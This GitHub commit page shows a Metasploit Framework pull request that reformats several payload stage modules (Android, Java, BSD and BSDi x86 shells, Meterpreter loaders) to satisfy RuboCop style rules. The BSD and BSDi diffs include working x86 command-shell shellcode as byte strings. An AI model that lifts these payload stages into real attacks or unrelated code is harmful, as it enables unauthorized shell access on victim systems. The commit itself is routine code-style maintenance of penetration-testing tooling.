Skip to content

Commit 5c9119b

Browse files
authored
Merge pull request rapid7#20059 from bcoles/rubocop-modules-payloads-stages
modules/payloads/stages: Resolve RuboCop violations
2 parents ba23e4d + 332bac8 commit 5c9119b

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

43 files changed

+1415
-1380
lines changed

modules/payloads/stages/android/meterpreter.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -3,27 +3,27 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
7-
86
module MetasploitModule
9-
107
include Msf::Payload::Android::MeterpreterLoader
118
include Msf::Sessions::MeterpreterOptions
129

1310
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Android Meterpreter',
16-
'Description' => 'Run a meterpreter server in Android',
17-
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
18-
'Platform' => 'android',
19-
'Arch' => ARCH_DALVIK,
20-
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
21-
'License' => MSF_LICENSE,
22-
'Session' => Msf::Sessions::Meterpreter_Java_Android
23-
))
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Android Meterpreter',
15+
'Description' => 'Run a meterpreter server in Android',
16+
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
17+
'Platform' => 'android',
18+
'Arch' => ARCH_DALVIK,
19+
'PayloadCompat' => { 'Convention' => 'javasocket javaurl' },
20+
'License' => MSF_LICENSE,
21+
'Session' => Msf::Sessions::Meterpreter_Java_Android
22+
)
23+
)
2424
end
2525

26-
def generate_stage(opts={})
26+
def generate_stage(opts = {})
2727
stage_payload(opts)
2828
end
2929
end

modules/payloads/stages/android/shell.rb

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -3,35 +3,36 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
7-
86
module MetasploitModule
9-
107
# The stager should have already included this
11-
#include Msf::Payload::Java
8+
# include Msf::Payload::Java
129
include Msf::Sessions::CommandShellOptions
1310

1411
def initialize(info = {})
15-
super(update_info(info,
16-
'Name' => 'Command Shell',
17-
'Description' => 'Spawn a piped command shell (sh)',
18-
'Author' => [
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Command Shell',
16+
'Description' => 'Spawn a piped command shell (sh)',
17+
'Author' => [
1918
'mihi', # all the hard work
2019
'egypt' # msf integration
2120
],
22-
'Platform' => 'android',
23-
'Arch' => ARCH_DALVIK,
24-
'License' => MSF_LICENSE,
25-
'Session' => Msf::Sessions::CommandShell))
21+
'Platform' => 'android',
22+
'Arch' => ARCH_DALVIK,
23+
'License' => MSF_LICENSE,
24+
'Session' => Msf::Sessions::CommandShell
25+
)
26+
)
2627
end
2728

2829
#
2930
# Override the {Payload::Android} version so we can load a prebuilt jar
3031
# to be used as the final stage
3132
#
32-
def generate_stage(opts={})
33+
def generate_stage(_opts = {})
3334
clazz = 'androidpayload.stage.Shell'
34-
shell_jar = MetasploitPayloads.read("android", "shell.jar")
35+
shell_jar = MetasploitPayloads.read('android', 'shell.jar')
3536

3637
# Name of the class to load from the stage, and then the actual jar
3738
# to load it from

modules/payloads/stages/bsd/x86/shell.rb

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -3,27 +3,27 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
module MetasploitModule
8-
97
include Msf::Sessions::CommandShellOptions
108

119
def initialize(info = {})
12-
super(merge_info(info,
13-
'Name' => 'BSD Command Shell',
14-
'Description' => 'Spawn a command shell (staged)',
15-
'Author' => 'skape',
16-
'License' => MSF_LICENSE,
17-
'Platform' => 'bsd',
18-
'Arch' => ARCH_X86,
19-
'Session' => Msf::Sessions::CommandShellUnix,
20-
'Stage' =>
21-
{
10+
super(
11+
merge_info(
12+
info,
13+
'Name' => 'BSD Command Shell',
14+
'Description' => 'Spawn a command shell (staged)',
15+
'Author' => 'skape',
16+
'License' => MSF_LICENSE,
17+
'Platform' => 'bsd',
18+
'Arch' => ARCH_X86,
19+
'Session' => Msf::Sessions::CommandShellUnix,
20+
'Stage' => {
2221
'Payload' =>
23-
"\x31\xc0\x50\x50\xb0\x7e\x50\xcd\x80\x6a\x02\x59\x6a\x5a\x58\x51" +
24-
"\x57\x51\xcd\x80\x49\x79\xf5\x6a\x3b\x58\x99\x52\x68\x2f\x2f\x73" +
25-
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x53\xcd\x80"
22+
"\x31\xc0\x50\x50\xb0\x7e\x50\xcd\x80\x6a\x02\x59\x6a\x5a\x58\x51" \
23+
"\x57\x51\xcd\x80\x49\x79\xf5\x6a\x3b\x58\x99\x52\x68\x2f\x2f\x73" \
24+
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x53\xcd\x80"
2625
}
27-
))
26+
)
27+
)
2828
end
2929
end

modules/payloads/stages/bsdi/x86/shell.rb

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -3,28 +3,28 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
module MetasploitModule
8-
97
include Msf::Sessions::CommandShellOptions
108

119
def initialize(info = {})
12-
super(merge_info(info,
13-
'Name' => 'BSDi Command Shell',
14-
'Description' => 'Spawn a command shell (staged)',
15-
'Author' => 'skape',
16-
'License' => MSF_LICENSE,
17-
'Platform' => 'bsdi',
18-
'Arch' => ARCH_X86,
19-
'Session' => Msf::Sessions::CommandShell,
20-
'Stage' =>
21-
{
10+
super(
11+
merge_info(
12+
info,
13+
'Name' => 'BSDi Command Shell',
14+
'Description' => 'Spawn a command shell (staged)',
15+
'Author' => 'skape',
16+
'License' => MSF_LICENSE,
17+
'Platform' => 'bsdi',
18+
'Arch' => ARCH_X86,
19+
'Session' => Msf::Sessions::CommandShell,
20+
'Stage' => {
2221
'Payload' =>
23-
"\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6\x31\xc0" +
24-
"\x50\x50\xb0\x7e\xff\xd6\x6a\x02\x59\x6a\x5a\x58\x51\x57\xff\xd6" +
25-
"\x49\x79\xf6\x6a\x3b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" +
26-
"\x69\x6e\x89\xe3\x52\x54\x53\xff\xd6"
22+
"\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6\x31\xc0" \
23+
"\x50\x50\xb0\x7e\xff\xd6\x6a\x02\x59\x6a\x5a\x58\x51\x57\xff\xd6" \
24+
"\x49\x79\xf6\x6a\x3b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" \
25+
"\x69\x6e\x89\xe3\x52\x54\x53\xff\xd6"
2726
}
28-
))
27+
)
28+
)
2929
end
3030
end

modules/payloads/stages/java/meterpreter.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -3,27 +3,27 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
7-
86
module MetasploitModule
9-
107
include Msf::Payload::Java::MeterpreterLoader
118
include Msf::Sessions::MeterpreterOptions
129

1310
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Java Meterpreter',
16-
'Description' => 'Run a meterpreter server in Java',
17-
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
18-
'Platform' => 'java',
19-
'Arch' => ARCH_JAVA,
20-
'PayloadCompat' => {'Convention' => 'javasocket javaurl'},
21-
'License' => MSF_LICENSE,
22-
'Session' => Msf::Sessions::Meterpreter_Java_Java
23-
))
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Java Meterpreter',
15+
'Description' => 'Run a meterpreter server in Java',
16+
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
17+
'Platform' => 'java',
18+
'Arch' => ARCH_JAVA,
19+
'PayloadCompat' => { 'Convention' => 'javasocket javaurl' },
20+
'License' => MSF_LICENSE,
21+
'Session' => Msf::Sessions::Meterpreter_Java_Java
22+
)
23+
)
2424
end
2525

26-
def generate_stage(opts={})
26+
def generate_stage(opts = {})
2727
stage_payload(opts)
2828
end
2929
end

modules/payloads/stages/java/shell.rb

Lines changed: 16 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -3,32 +3,33 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
7-
86
module MetasploitModule
9-
107
include Msf::Sessions::CommandShellOptions
118

129
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Command Shell',
15-
'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
16-
'Author' => ['mihi', 'egypt'],
17-
'Platform' => 'java',
18-
'Arch' => ARCH_JAVA,
19-
'PayloadCompat' => {'Convention' => 'javasocket'},
20-
'License' => MSF_LICENSE,
21-
'Session' => Msf::Sessions::CommandShell))
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Command Shell',
14+
'Description' => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
15+
'Author' => ['mihi', 'egypt'],
16+
'Platform' => 'java',
17+
'Arch' => ARCH_JAVA,
18+
'PayloadCompat' => { 'Convention' => 'javasocket' },
19+
'License' => MSF_LICENSE,
20+
'Session' => Msf::Sessions::CommandShell
21+
)
22+
)
2223
end
2324

2425
def stage_class_files
2526
# Order matters. Classes can only reference classes that have already
2627
# been sent. The last .class must implement Stage, i.e. have a start()
2728
# method.
2829
[
29-
[ "javapayload", "stage", "Stage.class" ],
30-
[ "javapayload", "stage", "StreamForwarder.class" ],
31-
[ "javapayload", "stage", "Shell.class" ],
30+
[ 'javapayload', 'stage', 'Stage.class' ],
31+
[ 'javapayload', 'stage', 'StreamForwarder.class' ],
32+
[ 'javapayload', 'stage', 'Shell.class' ],
3233
]
3334
end
3435
end

0 commit comments

Comments
 (0)